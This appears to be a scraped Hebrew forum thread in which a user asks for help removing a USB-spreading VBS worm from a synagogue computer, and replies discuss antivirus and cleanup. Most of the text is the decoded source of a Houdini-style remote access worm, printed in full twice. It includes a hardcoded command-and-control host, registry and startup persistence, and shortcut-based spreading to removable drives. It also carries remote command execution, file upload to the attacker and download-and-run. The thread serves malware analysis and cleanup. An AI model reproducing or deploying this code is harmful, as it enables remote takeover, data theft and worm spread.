                                            fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                            if  instr (fileicon,",") = 0 then
                                                lnkobj.iconlocation = file.path
                                            else 
                                                lnkobj.iconlocation = fileicon
                                            end if
                                            lnkobj.save()
                                        end if
                                    end if
                                end if
                            next
                            for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                if not lnkfolder then exit for
                                folder.attributes = 2+4
                                foldername = folder.name
                                set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                lnkobj.windowstyle = 7
                                lnkobj.targetpath = "cmd.exe"
                                lnkobj.workingdirectory = ""
                                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                if  instr (foldericon,",") = 0 then
                                    lnkobj.iconlocation = folder.path
                                else 
                                    lnkobj.iconlocation = foldericon
                                end if
                                lnkobj.save()
                            next
                        end If
                        end If
                        end if
                        next
                        err.clear
                        end sub
                        
                        sub uninstall
                        on error resume next
                        dim filename
                        dim foldername
                        
                        shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                        shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                        filesystemobj.deletefile startup & installname ,true
                        filesystemobj.deletefile wscript.scriptfullname ,true
                        
                        for  each drive in filesystemobj.drives
                        if  drive.isready = true then
                        if  drive.freespace  > 0 then
                        if  drive.drivetype  = 1 then
                            for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                 on error resume next
                                 if  instr (file.name,".") then
                                     if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                         file.attributes = 0
                                         if  ucase (file.name) <> ucase (installname) then
                                             filename = split(file.name,".")
                                             filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                         else
                                             filesystemobj.deletefile (drive.path & "\" & file.name)
                                         end If
                                     else
                                         filesystemobj.deletefile (file.path) 
                                     end if
                                 end if
                             next
                             for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                 folder.attributes = 0
                             next
                        end if
                        end if
                        end if
                        next
                        wscript.quit
                        end sub
                        
                        function post (cmd ,param)
                        
                        post = param
                        httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                        httpobj.setrequestheader "user-agent:",information
                        httpobj.send param
                        post = httpobj.responsetext
                        end function
                        
                        function information
                        on error resume next
                        if  inf = "" then
                            inf = hwid & spliter 
                            inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                            inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                        
                            set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                            set os = root.execquery ("select * from win32_operatingsystem")
                            for each osinfo in os
                               inf = inf & osinfo.caption & spliter  
                               exit for
                            next
                            inf = inf & "plus" & spliter
                            inf = inf & security & spliter
                            inf = inf & usbspreading
                            information = inf  
                        else
                            information = inf
                        end if
                        end function
                        
                        sub upstart ()
                        on error resume Next
                        
                        shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                        filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                        filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                        
                        end sub
                        
                        function hwid
                        on error resume next
                        
                        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                        set disks = root.execquery ("select * from win32_logicaldisk")
                        for each disk in disks
                            if  disk.volumeserialnumber <> "" then
                                hwid = disk.volumeserialnumber
                                exit for
                            end if
                        next
                        end function
                        
                        function security 
                        on error resume next
                        
                        security = ""
                        
                        set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                        set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                        for each objitem in colitems
                            versionstr = split (objitem.version,".")
                        next
                        versionstr = split (colitems.version,".")
                        osversion = versionstr (0) & "."
                        for  x = 1 to ubound (versionstr)
                             osversion = osversion &  versionstr (i)
                        next
                        osversion = eval (osversion)
                        if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                        
                        set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                        Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                        
                        for each objantivirus in colantivirus
                            security  = security  & objantivirus.displayname & " ."
                        next
                        if security  = "" then security  = "nan-av"
                        end function
                        
                        function instance
                        on error resume next
                        
                        usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                        if usbspreading = "" then
                           if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                              usbspreading = "true - " & date
                              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                           else
                              usbspreading = "false - " & date
                              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                        
                           end if
                        end If
                        
                        
                        upstart
                        set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                        set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                        if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                            wscript.quit 
                        end If
                        err.clear
                        set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                        if  err.number > 0 then wscript.quit
                        end function
                        
                        sub sitedownloader (fileurl,filename)
                        
                        strlink = fileurl
                        strsaveto = installdir & filename
                        set objhttpdownload = createobject("msxml2.xmlhttp" )
                        objhttpdownload.open "get", strlink, false
                        objhttpdownload.send
                        
                        set objfsodownload = createobject ("scripting.filesystemobject")
                        if  objfsodownload.fileexists (strsaveto) then
                            objfsodownload.deletefile (strsaveto)
                        end if
                         
                        if objhttpdownload.status = 200 then
                           dim  objstreamdownload
                           set  objstreamdownload = createobject("adodb.stream")
                           with objstreamdownload
                                .type = 1 
                                .open
                                .write objhttpdownload.responsebody
                                .savetofile strsaveto
                                .close
                           end with
                           set objstreamdownload = nothing
                        end if
                        if objfsodownload.fileexists(strsaveto) then
                           shellobj.run objfsodownload.getfile (strsaveto).shortpath
                        end if 
                        end sub
                        
                        sub download (fileurl,filedir)
                        
                        if filedir = "" then 
                           filedir = installdir
                        end if
                        
                        strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                        set objhttpdownload = createobject("msxml2.xmlhttp")
                        objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                        objhttpdownload.send ""
                             
                        set objfsodownload = createobject ("scripting.filesystemobject")
                        if  objfsodownload.fileexists (strsaveto) then
                            objfsodownload.deletefile (strsaveto)
                        end if
                        if  objhttpdownload.status = 200 then
                            dim  objstreamdownload
                            set  objstreamdownload = createobject("adodb.stream")
                            with objstreamdownload 
                                 .type = 1 
                                 .open
                                 .write objhttpdownload.responsebody
                                 .savetofile strsaveto
                                 .close
                            end with
                            set objstreamdownload  = nothing
                        end if
                        if objfsodownload.fileexists(strsaveto) then
                           shellobj.run objfsodownload.getfile (strsaveto).shortpath
                        end if 
                        end sub
                        
                        function upload (fileurl)
                        
                        dim  httpobj,objstreamuploade,buffer
                        set  objstreamuploade = createobject("adodb.stream")
                        with objstreamuploade 
                             .type = 1 
                             .open
                             .loadfromfile fileurl
                             buffer = .read
                             .close
                        end with
                        set objstreamdownload = nothing
                        set httpobj = createobject("msxml2.xmlhttp")
                        httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                        httpobj.send buffer
                        end function
                        
                        function enumdriver ()
                        
                        for  each drive in filesystemobj.drives
                        if   drive.isready = true then
                             enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                        end if
                        next
                        end Function
                        
                        function enumfaf (enumdir)
                        
                        enumfaf = enumdir & spliter
                        for  each folder in filesystemobj.getfolder (enumdir).subfolders
                             enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                        next
                        
                        for  each file in filesystemobj.getfolder (enumdir).files
                             enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                        
                        next
                        end function
                        
                        function enumprocess ()
                        
                        on error resume next
                        
                        set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                        set colitems = objwmiservice.execquery("select * from win32_process",,48)
                        
                        dim objitem
                        for each objitem in colitems
                            enumprocess = enumprocess & objitem.name & "|"
                            enumprocess = enumprocess & objitem.processid & "|"
                            enumprocess = enumprocess & objitem.executablepath & spliter
                        next
                        end function
                        
                        sub exitprocess (pid)
                        on error resume next
                        
                        shellobj.run "taskkill /F /T /PID " & pid,7,true
                        end sub
                        
                        sub deletefaf (url)
                        on error resume next
                        
                        filesystemobj.deletefile url
                        filesystemobj.deletefolder url
                        
                        end sub
                        
                        function cmdshell (cmd)
                        
                        dim httpobj,oexec,readallfromany
                        
                        set oexec = shellobj.exec ("%comspec% /c " & cmd)
                        if not oexec.stdout.atendofstream then
                           readallfromany = oexec.stdout.readall
                        elseif not oexec.stderr.atendofstream then
                           readallfromany = oexec.stderr.readall
                        else 
                           readallfromany = ""
                        end if
                        
                        cmdshell = readallfromany
                        end function
                        
                        cfopuserC מנותק
                        cfopuserC מנותק
                        cfopuser
                        כתב נערך לאחרונה על ידי
                        #14

                        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                        לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                        נראה שלא הועיל,
                        לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                        מתכנת חובבמ תגובה 1 תגובה אחרונה
                        1
                        • cfopuserC cfopuser

                          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                          לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                          נראה שלא הועיל,
                          לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                          מתכנת חובבמ מנותק
                          מתכנת חובבמ מנותק
                          מתכנת חובב
                          מדריכים
                          כתב נערך לאחרונה על ידי
                          #15

                          @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                          צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                          ר תגובה 1 תגובה אחרונה
                          0
                          • מתכנת חובבמ מתכנת חובב

                            @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                            ר מנותק
                            ר מנותק
                            רנדומלי
                            כתב נערך לאחרונה על ידי
                            #16

                            השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                            מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                            מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                            גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                            @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                            cfopuserC מתכנת חובבמ 2 תגובות תגובה אחרונה
                            0
                            • ר רנדומלי

                              השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                              מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                              מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                              גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                              @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                              cfopuserC מנותק
                              cfopuserC מנותק
                              cfopuser
                              כתב נערך לאחרונה על ידי
                              #17

                              @רנדומלי היא כן.

                              תגובה 1 תגובה אחרונה
                              1
                              • ר רנדומלי

                                בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                                cmd /c hrxxryydxo.vbs && start explorer [file name]
                                

                                הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                                לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                                תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                                לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                                z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                                

                                בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                                לאחר פיענוח הקידוד התקבל הקוד הבא:
                                אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                                e
                                '<[ recoder : houdini (c) skype : houdini-fx ]>
                                
                                '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                                
                                host = "khattab.no-ip.biz"
                                port = 5550
                                installdir = "%temp%"
                                lnkfile = true
                                lnkfolder = true
                                
                                '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                                
                                dim shellobj 
                                set shellobj = wscript.createobject("wscript.shell")
                                dim filesystemobj
                                set filesystemobj = createobject("scripting.filesystemobject")
                                dim httpobj
                                set httpobj = createobject("msxml2.xmlhttp")
                                
                                '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                                
                                installname = wscript.scriptname
                                startup = shellobj.specialfolders ("startup") & "\"
                                installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                                if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                                spliter = "<" & "|" & ">"
                                sleep = 5000 
                                dim response
                                dim cmd
                                dim param
                                info = ""
                                usbspreading = ""
                                startdate = ""
                                dim oneonce
                                
                                '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                                on error resume next
                                
                                instance
                                while true
                                
                                install
                                
                                response = ""
                                response = post ("is-ready","")
                                cmd = split (response,spliter)
                                select case cmd (0)
                                case "excecute"
                                      param = cmd (1)
                                      execute param
                                case "update"
                                      param = cmd (1)
                                      oneonce.close
                                      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                      oneonce.write param
                                      oneonce.close
                                      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                      wscript.quit 
                                case "uninstall"
                                      uninstall
                                case "send"
                                      download cmd (1),cmd (2)
                                case "site-send"
                                      sitedownloader cmd (1),cmd (2)
                                case "recv"
                                      param = cmd (1)
                                      upload (param)
                                case  "enum-driver"
                                      post "is-enum-driver",enumdriver  
                                case  "enum-faf"
                                      param = cmd (1)
                                      post "is-enum-faf",enumfaf (param)
                                case  "enum-process"
                                      post "is-enum-process",enumprocess   
                                case  "cmd-shell"
                                      param = cmd (1)
                                      post "is-cmd-shell",cmdshell (param)  
                                case  "delete"
                                      param = cmd (1)
                                      deletefaf (param) 
                                case  "exit-process"
                                      param = cmd (1)
                                      exitprocess (param) 
                                case  "sleep"
                                      param = cmd (1)
                                      sleep = eval (param)        
                                end select
                                
                                wscript.sleep sleep
                                
                                wend
                                
                                sub install
                                on error resume next
                                dim lnkobj
                                dim filename
                                dim foldername
                                dim fileicon
                                dim foldericon
                                
                                upstart
                                for each drive in filesystemobj.drives
                                
                                if  drive.isready = true then
                                if  drive.freespace  > 0 then
                                if  drive.drivetype  = 1 then
                                    filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                    if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                        filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                    end if
                                    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                        if not lnkfile then exit for
                                        if  instr (file.name,".") then
                                            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                                file.attributes = 2+4
                                                if  ucase (file.name) <> ucase (installname) then
                                                    filename = split(file.name,".")
                                                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                    lnkobj.windowstyle = 7
                                                    lnkobj.targetpath = "cmd.exe"
                                                    lnkobj.workingdirectory = ""
                                                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                    if  instr (fileicon,",") = 0 then
                                                        lnkobj.iconlocation = file.path
                                                    else 
                                                        lnkobj.iconlocation = fileicon
                                                    end if
                                                    lnkobj.save()
                                                end if
                                            end if
                                        end if
                                    next
                                    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                        if not lnkfolder then exit for
                                        folder.attributes = 2+4
                                        foldername = folder.name
                                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                        lnkobj.windowstyle = 7
                                        lnkobj.targetpath = "cmd.exe"
                                        lnkobj.workingdirectory = ""
                                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                        if  instr (foldericon,",") = 0 then
                                            lnkobj.iconlocation = folder.path
                                        else 
                                            lnkobj.iconlocation = foldericon
                                        end if
                                        lnkobj.save()
                                    next
                                end If
                                end If
                                end if
                                next
                                err.clear
                                end sub
                                
                                sub uninstall
                                on error resume next
                                dim filename
                                dim foldername
                                
                                shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                filesystemobj.deletefile startup & installname ,true
                                filesystemobj.deletefile wscript.scriptfullname ,true
                                
                                for  each drive in filesystemobj.drives
                                if  drive.isready = true then
                                if  drive.freespace  > 0 then
                                if  drive.drivetype  = 1 then
                                    for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                         on error resume next
                                         if  instr (file.name,".") then
                                             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                                 file.attributes = 0
                                                 if  ucase (file.name) <> ucase (installname) then
                                                     filename = split(file.name,".")
                                                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                                 else
                                                     filesystemobj.deletefile (drive.path & "\" & file.name)
                                                 end If
                                             else
                                                 filesystemobj.deletefile (file.path) 
                                             end if
                                         end if
                                     next
                                     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                         folder.attributes = 0
                                     next
                                end if
                                end if
                                end if
                                next
                                wscript.quit
                                end sub
                                
                                function post (cmd ,param)
                                
                                post = param
                                httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                                httpobj.setrequestheader "user-agent:",information
                                httpobj.send param
                                post = httpobj.responsetext
                                end function
                                
                                function information
                                on error resume next
                                if  inf = "" then
                                    inf = hwid & spliter 
                                    inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                    inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                                
                                    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                    set os = root.execquery ("select * from win32_operatingsystem")
                                    for each osinfo in os
                                       inf = inf & osinfo.caption & spliter  
                                       exit for
                                    next
                                    inf = inf & "plus" & spliter
                                    inf = inf & security & spliter
                                    inf = inf & usbspreading
                                    information = inf  
                                else
                                    information = inf
                                end if
                                end function
                                
                                sub upstart ()
                                on error resume Next
                                
                                shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                                filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                                
                                end sub
                                
                                function hwid
                                on error resume next
                                
                                set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                set disks = root.execquery ("select * from win32_logicaldisk")
                                for each disk in disks
                                    if  disk.volumeserialnumber <> "" then
                                        hwid = disk.volumeserialnumber
                                        exit for
                                    end if
                                next
                                end function
                                
                                function security 
                                on error resume next
                                
                                security = ""
                                
                                set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                                for each objitem in colitems
                                    versionstr = split (objitem.version,".")
                                next
                                versionstr = split (colitems.version,".")
                                osversion = versionstr (0) & "."
                                for  x = 1 to ubound (versionstr)
                                     osversion = osversion &  versionstr (i)
                                next
                                osversion = eval (osversion)
                                if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                                
                                set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                                Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                                
                                for each objantivirus in colantivirus
                                    security  = security  & objantivirus.displayname & " ."
                                next
                                if security  = "" then security  = "nan-av"
                                end function
                                
                                function instance
                                on error resume next
                                
                                usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                                if usbspreading = "" then
                                   if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                      usbspreading = "true - " & date
                                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                   else
                                      usbspreading = "false - " & date
                                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                
                                   end if
                                end If
                                
                                
                                upstart
                                set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                                set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                                if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                    wscript.quit 
                                end If
                                err.clear
                                set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                                if  err.number > 0 then wscript.quit
                                end function
                                
                                sub sitedownloader (fileurl,filename)
                                
                                strlink = fileurl
                                strsaveto = installdir & filename
                                set objhttpdownload = createobject("msxml2.xmlhttp" )
                                objhttpdownload.open "get", strlink, false
                                objhttpdownload.send
                                
                                set objfsodownload = createobject ("scripting.filesystemobject")
                                if  objfsodownload.fileexists (strsaveto) then
                                    objfsodownload.deletefile (strsaveto)
                                end if
                                 
                                if objhttpdownload.status = 200 then
                                   dim  objstreamdownload
                                   set  objstreamdownload = createobject("adodb.stream")
                                   with objstreamdownload
                                        .type = 1 
                                        .open
                                        .write objhttpdownload.responsebody
                                        .savetofile strsaveto
                                        .close
                                   end with
                                   set objstreamdownload = nothing
                                end if
                                if objfsodownload.fileexists(strsaveto) then
                                   shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                end if 
                                end sub
                                
                                sub download (fileurl,filedir)
                                
                                if filedir = "" then 
                                   filedir = installdir
                                end if
                                
                                strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                                set objhttpdownload = createobject("msxml2.xmlhttp")
                                objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                                objhttpdownload.send ""
                                     
                                set objfsodownload = createobject ("scripting.filesystemobject")
                                if  objfsodownload.fileexists (strsaveto) then
                                    objfsodownload.deletefile (strsaveto)
                                end if
                                if  objhttpdownload.status = 200 then
                                    dim  objstreamdownload
                                    set  objstreamdownload = createobject("adodb.stream")
                                    with objstreamdownload 
                                         .type = 1 
                                         .open
                                         .write objhttpdownload.responsebody
                                         .savetofile strsaveto
                                         .close
                                    end with
                                    set objstreamdownload  = nothing
                                end if
                                if objfsodownload.fileexists(strsaveto) then
                                   shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                end if 
                                end sub
                                
                                function upload (fileurl)
                                
                                dim  httpobj,objstreamuploade,buffer
                                set  objstreamuploade = createobject("adodb.stream")
                                with objstreamuploade 
                                     .type = 1 
                                     .open
                                     .loadfromfile fileurl
                                     buffer = .read
                                     .close
                                end with
                                set objstreamdownload = nothing
                                set httpobj = createobject("msxml2.xmlhttp")
                                httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                                httpobj.send buffer
                                end function
                                
                                function enumdriver ()
                                
                                for  each drive in filesystemobj.drives
                                if   drive.isready = true then
                                     enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                                end if
                                next
                                end Function
                                
                                function enumfaf (enumdir)
                                
                                enumfaf = enumdir & spliter
                                for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                     enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                                next
                                
                                for  each file in filesystemobj.getfolder (enumdir).files
                                     enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                                
                                next
                                end function
                                
                                function enumprocess ()
                                
                                on error resume next
                                
                                set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                                set colitems = objwmiservice.execquery("select * from win32_process",,48)
                                
                                dim objitem
                                for each objitem in colitems
                                    enumprocess = enumprocess & objitem.name & "|"
                                    enumprocess = enumprocess & objitem.processid & "|"
                                    enumprocess = enumprocess & objitem.executablepath & spliter
                                next
                                end function
                                
                                sub exitprocess (pid)
                                on error resume next
                                
                                shellobj.run "taskkill /F /T /PID " & pid,7,true
                                end sub
                                
                                sub deletefaf (url)
                                on error resume next
                                
                                filesystemobj.deletefile url
                                filesystemobj.deletefolder url
                                
                                end sub
                                
                                function cmdshell (cmd)
                                
                                dim httpobj,oexec,readallfromany
                                
                                set oexec = shellobj.exec ("%comspec% /c " & cmd)
                                if not oexec.stdout.atendofstream then
                                   readallfromany = oexec.stdout.readall
